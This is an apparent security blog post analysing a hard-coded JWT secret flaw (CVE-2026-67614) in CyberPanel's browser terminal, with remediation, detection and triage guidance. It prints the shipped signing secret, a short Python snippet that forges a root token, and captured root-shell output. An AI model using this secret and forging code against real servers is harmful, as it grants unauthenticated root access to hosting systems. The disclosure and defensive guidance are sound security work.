CyberPanel's Hard-Coded WebTerminal JWT Secret (CVE-2026-67614): Forging a Root Shell, and How to Find Exposed Panels
CyberPanel's Web Terminal gives the panel a browser-based SSH console, served by a small FastAPI application that runs as root on port 8888 and gates access with a JSON Web Token. In CyberPanel 2.4.2 through 2.4.6 the signing key for that token was a plain string literal committed to the source tree — identical on every install, public to anyone who reads the repository. That is CVE-2026-67614: forge a token, set its ssh_user claim to root, and open an interactive root shell with no credentials at all. What makes the fix history worth reading is that the literal was later demoted to a fallback rather than removed, the panel kept trusting mere possession of the signing key, and the flaw was only fully closed in 3.0.1 — not 3.0.0. We reproduced the direct form end to end against CyberPanel's own unmodified service code and confirmed the current service rejects the same forged token outright.
The Vulnerability
CVE-2026-67614 is CWE-798: Use of Hard-coded Credentials. CyberPanel is a widely deployed open-source web hosting control panel; the Web Terminal (added in v2.4.1) lets a logged-in panel user open an SSH session to the server from the browser. That terminal is served by fastapi_ssh_server.py, run by a systemd unit as User=root and listening on 0.0.0.0:8888 over TLS. In CyberPanel 2.4.2–2.4.6 the JWT was signed and verified with this key, copied verbatim from the shipped source:
# fastapi_ssh_server.py (CyberPanel 2.4.2 - 2.4.6) JWT_SECRET = "DAsjK2gl50PE09d1N3uZPTQ6JdwwfiuhlyWKMVbUEpc" JWT_ALGORITHM = "HS256"
Because HS256 is symmetric, the key that verifies a token is the same key that signs one. A secret that ships in the repository is a secret every attacker has. The WebSocket handler decodes the token and reads the account to log in as directly from the token's own ssh_user claim:
@app.websocket("/ws")
async def websocket_endpoint(websocket, token=Query(None), ssh_user=Query(None)):
payload = jwt.decode(token, JWT_SECRET, algorithms=[JWT_ALGORITHM])
user = payload.get("ssh_user") # <-- taken from the signed token
...
conn = await asyncssh.connect("localhost", username=user, client_keys=[keyfile])There is no check that the token was issued by the panel, no expiry requirement, and no binding to a real logged-in session — a valid signature is the whole of the authorisation. Whoever holds the secret decides who user is. Set it to root and the service writes a temporary key into /root/.ssh/authorized_keys and connects you as root.
- CVSS: 9.8 Critical (CVSS v3.1, AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H) — assigned by VulnCheck (CNA); the same record scores 9.3 under CVSS v4.0. NVD has not published an independent (Primary) assessment.
- CWE: CWE-798 (Use of Hard-coded Credentials)
- AFFECTED: CyberPanel with the Web Terminal. 2.4.2–2.4.6 embed the shared literal directly (fully unauthenticated); 2.4.7–2.4.9 and 3.0.0 generate a per-install secret but keep the literal as a fallback and still trust the signing key alone
- FIXED: CyberPanel 3.0.1 — the maintainer-validated boundary (>= 3.0.1). VulnCheck's NVD metadata currently reads "before 3.0.0"; 3.0.0 addressed only part of the chain (see below)
- PRECONDITION: the WebTerminal service (fastapi_ssh_server, port 8888) must be running and reachable — installed and enabled by default
- IMPACT: unauthenticated remote attacker → interactive root shell (2.4.2–2.4.6)
- COMPANION: on per-install-secret versions, chains with CVE-2026-67613 (arbitrary file read, requires an authenticated admin). Both credited to Deniz Mert (@dennywise)
- ADVISORY: VulnCheck · disclosure (issue #1858)
AM I EXPOSED?
- AFFECTEDAny internet-reachable server running CyberPanel with the Web Terminal service (port 8888) enabled — the default — below 3.0.1. Versions 2.4.2–2.4.6 are exploitable unauthenticated with nothing but the shared literal; later 2.4.x and 3.0.0 need the companion file read (CVE-2026-67613, which itself requires an authenticated admin) to recover the per-install secret, or a failed secret-file creation that drops back to the literal.
- NOT YOUServers on CyberPanel 3.0.1 or later, or where port 8888 is firewalled off from untrusted networks so the WebTerminal service is unreachable. On 3.0.1 there is no literal, every token also needs a one-time server authorization bound to the panel user, and the terminal refuses UID 0 outright.
- CHECKOn the server, read the installed version directly: cat /usr/local/CyberCP/version.txt — anything below 3.0.1 is affected. To see whether the terminal service is reachable, probe the port from another host: curl -ksS -o /dev/null -w "%{http_code}\n" https://YOUR_SERVER:8888/ — a TLS response on 8888 means the WebTerminal service is exposed.
- FIXUpgrade to CyberPanel 3.0.1 or later — the maintainer's validated fix, which removes the literal, requires a one-time server authorization per session, and rejects root. Until then, firewall port 8888 so it is reachable only from trusted management addresses — the WebTerminal is unusable to a remote attacker who cannot reach it.
Reproducing the Direct Form
A hard-coded secret is the kind of finding that is easy to assert and worth proving. We stood up CyberPanel's own fastapi_ssh_server.py at v2.4.3 — the unmodified file, squarely in the 2.4.2–2.4.6 direct-literal range, not a rewrite of it — in a throwaway, isolated container with a normal root account and an SSH daemon, exactly as the systemd unit runs it. This is the direct form of the bug: the shared literal is the whole authorisation, no companion vulnerability and no credentials required. The advisory is the proof the bug is real; this reproduction makes the shape concrete and confirms the fix.
The attacker is an unauthenticated network client. It forges a token with the shipped secret, sets the ssh_user claim to root, and connects to the WebSocket:
from jose import jwt
SECRET = "DAsjK2gl50PE09d1N3uZPTQ6JdwwfiuhlyWKMVbUEpc" # literal, CyberPanel 2.4.2-2.4.6
forged = jwt.encode({"ssh_user": "root"}, SECRET, algorithm="HS256")
# wss://TARGET:8888/ws?token=<forged>&ssh_user=root
Real reproduction against CyberPanel's own WebTerminal service (v2.4.3, unmodified) in an isolated container. The forged token is accepted, the server binds a root SSH session, and id returns uid=0(root). The same token against the patched service is rejected with HTTP 403.
The WebSocket is accepted and the service binds a root shell — no credentials, no panel account, nothing but a token anyone can mint. The real session output, verbatim:
[+] WebSocket accepted — server bound us to a root SSH session root@target:~# id uid=0(root) gid=0(root) groups=0(root) root@target:~# whoami root root@target:~# cat /etc/shadow | head -1 root:x:20679:0:99999:7:::
Per-Install Secrets, a File Read, and Why 3.0.0 Was Not Enough
By 2.4.7–2.4.9 the literal was no longer sitting in the service file. The secret became a per-install value generated at first run and stored outside the source tree — with the old literal kept only as a last-resort LEGACY_TERMINAL_JWT_SECRET fallback, reached if the secret file is missing and cannot be created:
# plogical/securityUtils.py (CyberPanel 2.4.9)
LEGACY_TERMINAL_JWT_SECRET = "DAsjK2gl50PE09d1N3uZPTQ6JdwwfiuhlyWKMVbUEpc"
def get_terminal_jwt_secret(create_if_missing=False):
... # env var, then secret file, then create it
return LEGACY_TERMINAL_JWT_SECRET # fallback only if all of the above failThat narrows the direct attack — a typical 2.4.9 install has a unique secret an attacker does not know. But the design still trusted possession of the signing key as sufficient authorisation, and the finder made the consequence explicit in the disclosure thread: as long as the design rests on a secret on disk, any arbitrary file read becomes remote code execution as root. That companion bug exists — CVE-2026-67613, an arbitrary file read reported in the same coordinated disclosure. Read the per-install secret file, sign a token, and the later-2.x path lands exactly where the 2.4.2–2.4.6 literal did — with one caveat that changes the threat model: CVE-2026-67613 is scored as requiring an authenticated administrator, so this later-version chain is a privileged-user-to-root escalation, not the fully unauthenticated one-shot the embedded literal is.
CyberPanel 3.0.0 tightened token validation — per-install secret, plus required issuer, audience, expiry, and a one-time request id — but the maintainer confirmed 3.0.0 only closed part of the reported chain. The full fix, and the version to hold your fleet to, is 3.0.1. Its fastapi_ssh_server.py removes the literal entirely, no longer relies on possession of the signing secret alone, and adds a hard stop that the whole class of attack runs into:
# fastapi_ssh_server.py (CyberPanel 3.0.1)
JWT_SECRET = get_terminal_jwt_secret(create_if_missing=True) # per install, no literal
# token must also carry a one-time server authorization bound to the panel user (jti)
if account.pw_uid == 0: # the terminal refuses root outright
await websocket.close(code=4403)
return
# and the account home must resolve under /homeWe replayed the identical forged token against the patched service to make sure the fix closes the path rather than merely looking stricter. It does — the handshake is refused before any shell is set up:
# same forged token, patched service server rejected WebSocket connection: HTTP 403
A note on scope: we ran CyberPanel's WebTerminal microservice standalone rather than installing the whole panel, because CyberPanel is a full-server installer (LiteSpeed, PowerDNS, mail, and more) rather than a container image. The file under test is CyberPanel's own, unmodified, at v2.4.3. We reproduced the direct-literal form; the later-2.x file-read chain we describe from the source and the disclosure thread rather than exploiting the companion bug end to end.
Investigation Workflow
Two questions matter for a fleet: which hosts run CyberPanel, and of those, which expose the WebTerminal service on 8888 to untrusted networks. Both are answerable from the network.
1. Port Scan: Find CyberPanel and Its Terminal Service
CyberPanel's surfaces sit on a recognisable set of ports. The one that matters for this CVE is 8888:
- • 8888 — WebTerminal FastAPI SSH service over TLS (where CVE-2026-67614 lives)
- • 8090 — CyberPanel main web UI (Django/LiteSpeed)
- • 7080 — OpenLiteSpeed WebAdmin console, commonly co-deployed
A host answering on both 8090 and 8888 is a CyberPanel install with the terminal service exposed. Port 8888 reachable from outside a management network is the finding — it should not be internet-facing regardless of version.
2. HTTP / TLS Fingerprint: Confirm CyberPanel
The main UI on 8090 identifies itself through CyberPanel-branded login markup and its LiteSpeed Server header. On 8888, the service answers over TLS with a default self-signed certificate written at install time (the same cert.pem the systemd unit passes to uvicorn) — an untrusted certificate on 8888 alongside a live 8090 UI is a strong CyberPanel signal. Pair the two rather than relying on either alone.
3. Cross-Reference and Confirm Version
Remote scanning establishes exposure, not version — CyberPanel does not advertise its build to anonymous callers. Confirm the version on the box with cat /usr/local/CyberCP/version.txt as part of the same review, and treat any externally reachable 8888 as urgent independent of the number it returns.
Remediation
- Upgrade to CyberPanel 3.0.1 or later. This is the maintainer-validated fix: no hard-coded literal, a one-time server authorization bound to the panel user per session, and the terminal refuses root outright. 3.0.0 closed only part of the chain — do not stop there.
- Firewall port 8888 now. Restrict the WebTerminal service to trusted management addresses. This blocks the attack immediately and is worth keeping in place after patching — the console has no business being internet-facing.
- Assume compromise if 8888 was internet-reachable on an unpatched host. The exploit yields a genuine root shell with no failed-login trail. Review /root/.ssh/authorized_keys and other accounts' authorized_keys for unexpected entries, check for unfamiliar cron jobs, services and users, and review auth and system logs for the exposure window.
- Rotate credentials and keys after any suspected exposure. A root shell means everything on the box — panel database, stored hosting credentials, TLS private keys, API tokens — should be treated as disclosed.
Triage Notes
- Remote recon proves: that a host runs CyberPanel and whether the WebTerminal service on 8888 is reachable from a given vantage point. An exposed 8888 is the exploitable surface for this CVE.
- It cannot prove: the exact installed version (CyberPanel does not disclose it to anonymous callers), so version confirmation is an on-box step. Exposure of 8888 is urgent regardless of version.
- Evidence to request: cat /usr/local/CyberCP/version.txt; whether port 8888 is firewalled and from where it is reachable; the contents of /root/.ssh/authorized_keys; auth and WebTerminal service logs covering the exposure window.
- Escalation threshold: CyberPanel below 3.0.1 with port 8888 reachable from an untrusted network. Versions 2.4.2–2.4.6 are a direct unauthenticated-remote-to-root path; later 2.x and 3.0.0 reach the same outcome only by chaining the companion file read (CVE-2026-67613), which requires an authenticated admin. Treat any exposed 8888 below 3.0.1 as active exposure, not a patch-cycle item.
- Finding statement: "The server runs CyberPanel below 3.0.1 with the WebTerminal service (CVE-2026-67614) exposed on port 8888. In 2.4.2–2.4.6 the JWT signing secret is hard-coded and identical across installs, giving an unauthenticated attacker a forged-token root shell (ssh_user=root); in later versions the per-install secret is recoverable by an authenticated admin via the companion arbitrary file read (CVE-2026-67613), reaching the same root shell. Firewall port 8888 immediately and upgrade to CyberPanel 3.0.1; assume compromise if 8888 was internet-reachable on an unpatched host."
The network half of this investigation — finding CyberPanel hosts and checking whether port 8888 is exposed, from your phone — runs in RECON. The version confirmation and log review are on-box tasks RECON does not replace. Get RECON on the App Store.
Follow @hellorecon for new CVE investigations.
Sources
- → NVD: CVE-2026-67614 (CWE-798, VulnCheck CNA record)
- → NVD: CVE-2026-67613 (companion arbitrary file read in the same advisory)
- → VulnCheck: CyberPanel hard-coded JWT secret authentication bypass via WebTerminal
- → CyberPanel GitHub: coordinated-disclosure issue #1858 (maintainer confirms fixed in 3.0.1)
- → CyberPanel: change logs (v2.4.9 → v3.0.x release dates and Web Terminal hardening)
- → MITRE: CWE-798 Use of Hard-coded Credentials
Get the next investigation
New CVE teardowns — root cause from the source, a working proof-of-concept, and how to check your own estate — in your inbox when they publish. No spam, unsubscribe anytime.